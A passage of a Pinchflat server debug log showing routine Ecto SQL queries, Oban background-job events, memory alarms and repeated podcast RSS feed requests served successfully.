shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:08:23.650 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=38.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:08:23.651 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=38.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:08:23.702 [debug] QUERY OK source="tasks" db=9.3ms idle=42.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [89, 1, ~U[2026-01-10 17:08:23Z], ~U[2026-01-10 17:08:23Z]] 17:08:23.709 [info] {"args":{"id":1},"id":88,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":13277791,"event":"job:stop","queue_time":962556,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:08:28.782 [info] {"source":"oban","duration":20321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:57.143 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 17:08:58.785 [info] {"source":"oban","duration":2026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.408 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:28.787 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:58.790 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.410 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:28.792 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:58.794 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.413 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:28.796 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:57.162 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 17:11:58.800 [info] {"source":"oban","duration":1946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.414 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:28.802 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:58.804 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.416 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:02.676 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:13:02.676 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:13:02.709 [debug] QUERY OK source="sources" db=32.1ms idle=508.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:13:02.711 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=540.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:13:02.783 [debug] QUERY OK source="source_metadata" db=2.1ms queue=0.1ms idle=612.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:13:02.813 [debug] QUERY OK source="media_metadata" db=28.6ms queue=0.1ms idle=614.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:13:02.813 [info] Sent 200 in 137ms 17:13:28.808 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:30.780 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:13:30.819 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:13:30.854 [debug] QUERY OK source="sources" db=0.7ms queue=0.3ms idle=683.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:13:30.898 [debug] QUERY OK source="media_items" db=0.9ms queue=25.1ms idle=702.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:13:30.902 [debug] QUERY OK source="source_metadata" db=0.4ms idle=732.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:13:30.903 [debug] QUERY OK source="media_metadata" db=0.4ms idle=733.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:13:30.904 [info] Sent 200 in 123ms 17:13:58.810 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.419 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:28.813 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:58.816 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.420 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:28.819 [info] {"source":"oban","duration":2390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:58.823 [info] {"source":"oban","duration":2151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.421 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:28.825 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:58.828 [info] {"source":"oban","duration":1988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.423 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:28.830 [info] {"source":"oban","duration":1800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:48.087 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:17:48.087 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:17:48.089 [debug] QUERY OK source="sources" db=1.3ms idle=1866.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:17:48.091 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1869.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:17:48.093 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1871.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:17:48.094 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.6ms idle=930.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:17:48.095 [info] Sent 200 in 8ms 17:17:49.549 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:17:49.549 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:17:49.551 [debug] QUERY OK source="sources" db=0.6ms idle=381.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:17:49.552 [debug] QUERY OK source="media_items" db=1.3ms idle=330.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:17:49.555 [debug] QUERY OK source="source_metadata" db=0.6ms idle=333.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:17:49.556 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.2ms idle=334.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:17:49.557 [info] Sent 200 in 8ms 17:17:58.833 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.425 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:28.835 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:58.838 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.426 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:28.841 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:58.843 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.428 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:28.845 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:57.233 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 17:20:58.847 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.430 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:28.850 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:57.240 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 17:21:58.852 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.432 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:28.854 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:30.077 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:22:30.077 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:22:30.078 [debug] QUERY OK source="sources" db=0.7ms idle=1855.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:22:30.080 [debug] QUERY OK source="media_items" db=1.2ms idle=1856.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:22:30.082 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1227.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:22:30.082 [debug] QUERY OK source="media_metadata" db=0.3ms idle=1222.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:22:30.083 [info] Sent 200 in 5ms 17:22:58.857 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.433 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:28.714 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:23:28.714 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:23:28.715 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1492.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:23:28.717 [debug] QUERY OK source="media_items" db=1.1ms idle=715.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:23:28.718 [debug] QUERY OK source="source_metadata" db=0.3ms idle=496.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:23:28.720 [debug] QUERY OK source="media_metadata" db=1.3ms queue=0.4ms idle=496.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:23:28.721 [info] Sent 200 in 7ms 17:23:28.859 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:58.861 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.434 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:28.863 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:58.866 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.436 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:28.868 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:58.870 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.438 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:28.872 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:58.875 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.441 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:21.216 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:27:21.217 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:27:21.218 [debug] QUERY OK source="sources" db=0.9ms idle=995.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:27:21.220 [debug] QUERY OK source="media_items" db=1.6ms idle=996.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:27:21.222 [debug] QUERY OK source="source_metadata" db=0.3ms idle=999.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:27:21.223 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=1000.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:27:21.223 [info] Sent 200 in 7ms 17:27:28.878 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:58.880 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.442 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:23.412 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:28:23.413 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:28:23.414 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1191.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:28:23.417 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=1193.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" 